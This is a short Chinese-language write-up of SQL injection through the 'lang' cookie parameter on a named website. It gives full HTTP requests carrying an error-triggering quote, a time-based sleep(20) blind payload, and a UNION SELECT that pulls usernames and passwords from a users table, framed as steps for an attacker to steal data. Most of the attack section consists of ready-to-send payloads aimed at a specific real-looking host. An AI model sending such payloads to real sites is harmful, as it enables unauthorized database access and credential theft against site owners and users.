通過cookie中的參數(shù)所引發(fā)的sql注入
前言
在請(qǐng)求的cookie參數(shù)中,有一個(gè)名為lang的參數(shù)存在SQL注入漏洞。
在這個(gè)參數(shù)中注入一個(gè)單引號(hào)(')時(shí),會(huì)引發(fā)SQL語法錯(cuò)誤;而注入第二個(gè)單引號(hào)后,錯(cuò)誤會(huì)消失。這表明參數(shù)中的輸入沒有正確地進(jìn)行轉(zhuǎn)義或過濾,從而使得惡意的SQL代碼得以執(zhí)行。
正文
正常情況下和受到攻擊時(shí)的請(qǐng)求示例:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
受到sql注入攻擊時(shí)候的請(qǐng)求
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
報(bào)錯(cuò)如下:
當(dāng)然也可以使用 查詢語句:
'%2b(select*from(select(sleep(20)))a)%2b'
將構(gòu)造好的查詢注入到原始的HTTP請(qǐng)求中,發(fā)送給目標(biāo)服務(wù)器。注入點(diǎn)是請(qǐng)求的cookie參數(shù)lang:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
發(fā)送請(qǐng)求后,觀察服務(wù)器的響應(yīng)時(shí)間。如果服務(wù)器在處理請(qǐng)求時(shí)出現(xiàn)明顯的延遲(如20秒),則表明注入的查詢被服務(wù)器執(zhí)行了。這個(gè)時(shí)間延遲是由SQL中的SLEEP(20)函數(shù)引起的。
確認(rèn)sql注入存在以后 ,進(jìn)行漏洞利用
攻擊者可以構(gòu)造各種惡意SQL查詢來竊取或修改數(shù)據(jù)。例如,通過以下查詢來竊取用戶信息:
' UNION SELECT username, password FROM users --
發(fā)送惡意請(qǐng)求 攻擊者將惡意查詢注入到lang參數(shù)中,并發(fā)送請(qǐng)求:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
攻擊者檢查服務(wù)器的響應(yīng),查看是否包含用戶數(shù)據(jù)。如果成功,攻擊者就能夠獲取數(shù)據(jù)庫中的敏感信息。
該文章在 2024/7/23 21:39:14 編輯過